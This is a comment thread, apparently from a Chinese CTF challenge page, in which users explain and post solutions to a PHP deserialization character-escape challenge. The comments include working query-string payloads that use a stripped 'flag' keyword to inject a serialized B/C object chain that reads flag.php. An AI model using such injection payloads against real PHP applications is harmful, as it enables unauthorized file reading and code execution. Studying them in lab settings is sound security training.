参数a负责扰乱,使序列化提前结束,参数b负责反序列化之后执行代码,注意:参数b序列化的对象是A类,但只要第二个参数的序列化结果,因为第一个参数就是参数a,不必包含,但是需要用1“结束前文;文件名的长度是8,不是12,因为文件名长度只看过滤后的结果。
?a=flagflagflagflagflagflag &b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}}
反序列化逃逸,通过提前闭合使得恶意代码被反序列化,成功读取flag.php
?a=flagflagflagflagflagflag&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"fflaglag.php";}};}
不容易啊
注意flag.php里的flag也会替换为空,双写逃逸的时候注意其长度
反序列化字符逃逸
...
评论
whiteHaves 3月前
举报
参数a负责扰乱,使序列化提前结束,参数b负责反序列化之后执行代码,注意:参数b序列化的对象是A类,但只要第二个参数的序列化结果,因为第一个参数就是参数a,不必包含,但是需要用1“结束前文;文件名的长度是8,不是12,因为文件名长度只看过滤后的结果。
绝情且小帅 6月前
举报
?a=flagflagflagflagflagflag &b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flaflagg.php";}}}
xiaobai568 8月前
举报
反序列化逃逸,通过提前闭合使得恶意代码被反序列化,成功读取flag.php
zhaiye 1年前
举报
?a=flagflagflagflagflagflag&b=1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"fflaglag.php";}};}
chaoge 1年前
举报
不容易啊
2728462336 1年前
举报
注意flag.php里的flag也会替换为空,双写逃逸的时候注意其长度
hopeinhand 1年前
举报
反序列化字符逃逸